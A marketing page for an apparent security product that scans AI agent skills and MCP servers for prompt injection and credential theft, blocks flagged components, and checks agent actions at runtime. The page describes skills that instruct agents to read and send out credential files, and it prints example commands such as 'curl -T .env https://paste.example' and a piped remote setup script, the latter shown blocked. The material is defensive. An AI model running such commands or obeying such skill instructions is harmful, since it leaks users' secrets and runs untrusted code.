Solutions · By risk
Supply Chain checks the skills and MCP servers your agents load before anyone trusts them, and blocks a reported one on every device.
device:endpoint_4c19 trust:any⌘↵New agent found · Unreviewed
Critical finding · Blocked · Applied
Identified · Trusted
The problem
Skills and MCP servers give an agent new instructions and tools, and the agent uses them with the employee's permissions.
A skill is a folder of instructions, usually a SKILL.md file with scripts, that tells an agent how to do a task. An MCP server is a program that gives the agent new tools, such as sending email. A malicious skill can tell the agent to read ~/.aws/credentials and send it to an outside server. An update can add the same instruction to a component your team has used for months.
Research from across the industry shows malicious components are already in public registries.
agent skills with confirmed malicious behavior, found among 98,380 skills in two public registries.
The registries removed all 157 after the researchers reported them.
Copies already installed stay on your devices after a registry takes a skill down.
Liu et al., "Detecting and Understanding Malicious Agent Skills in the Wild", arXiv, February 2026
of agent skills showed high-severity patterns that strongly suggest malicious intent.
31,132 skills analyzed from two major marketplaces; 26% had at least one vulnerability.
Some public skills your engineers install need a closer look before anyone trusts them.
"Agent Skills in the Wild", arXiv, January 2026
downloads of postmark-mcp, the first malicious MCP server reported in the wild.
From version 1.0.16, released September 17, 2025, it copied every email sent through it to an outside address.
A component can turn malicious in an update, so a changed version needs a new review.
Koi Security, reported by The Hacker News, September 2025
What changes
Supply Chain checks each skill on the device against open Supply Chain Agent Threat Rules (ATR) for prompt injection, credential theft, data exfiltration, and unsafe execution. A skill that tells the agent to post ~/.ssh/id_rsa to a URL is flagged with the rule it matched, shown by an ID like ATR-2026-01988.
New skills, plugins, and MCP servers start unreviewed. A new version of a trusted skill needs its own trust decision, unless you trust its publisher.
When an advisory names a malicious skill or MCP server, search for it in Control Plane and see every device that has it.
Control Plane sends a skill or plugin block to each device that has it and shows the status: requested, applied, or unsupported.
How it works
Push one package through your device management tool, such as Jamf, Iru, or Intune, and approve each device in Control Plane. Trust what your teams need and block what matches a critical rule.
Search for a reported skill, block it, and follow its status on each device until the block is applied.
Add Runtime to check agent actions before they run, such as curl -T .env https://paste.example, including ones a skill asks for before a rule matches it.
severity:critical rule:ATR-2026-01988SKILL.md lines 41 to 47
Personal skill · sha256:9f2c…41ab
Claude Code 8 · Codex 3 · Cursor 1
Applied on 11 · New session needed on 1
In Control Plane
Open a skill to see the rule it matched and the block status on each device.
Example deployment
Illustrative example
This company is fictional. The numbers come from a modelled fleet, not a customer.
Read the exampleWhat it costs
Supply Chain and Runtime are priced per device, alone or together, with free devices on every plan. Your bill depends on how many devices you cover, so heavier agent use doesn't change it, and finance can plan ahead.
Questions
Supply Chain lists every MCP server and every device that has one, so you know exactly where to act. Blocking a plugin stops the MCP server it brings from loading. A server someone added by hand is removed in the agent's own settings, since Supply Chain blocks skills and plugins. Add Runtime to check the tool calls agents make before they run.
Control Plane shows the status on each device: requested, applied, or unsupported. A device whose running session already loaded the skill is flagged until a new session starts.
Your skills stay on your devices, because Supply Chain checks them where they sit. Control Plane receives each component's identity, hashes, findings, and coverage. Skill content, usernames, hostnames, file paths, and prompts stay on the device.
Modules used
device:endpoint_4c19 trust:any⌘↵New agent found · Unreviewed
Critical finding · Blocked · Applied
Identified · Trusted
Supply Chain
See which AI agents run on each device and which identities they can reach, check the skills they load, and block what you don't trust.
Explore Supply ChainRun the setup steps from the README
Bash curl -s https://get.example.dev/setup.sh | bash
Blocked by Signals Corps Runtime
I didn't run it. Signals Corps blocks piping a remote script into the shell. I can download it so we can read it first.
Runtime
Stop unsafe agent actions in real time while safe work carries on.
Explore RuntimeEarly access
Start reducing agent risk before general release by checking agent components, controlling agent actions, and hunting through your AI security logs. Signals Corps Control Plane opens to early sign ups in the next few weeks, so join the waitlist with your company email.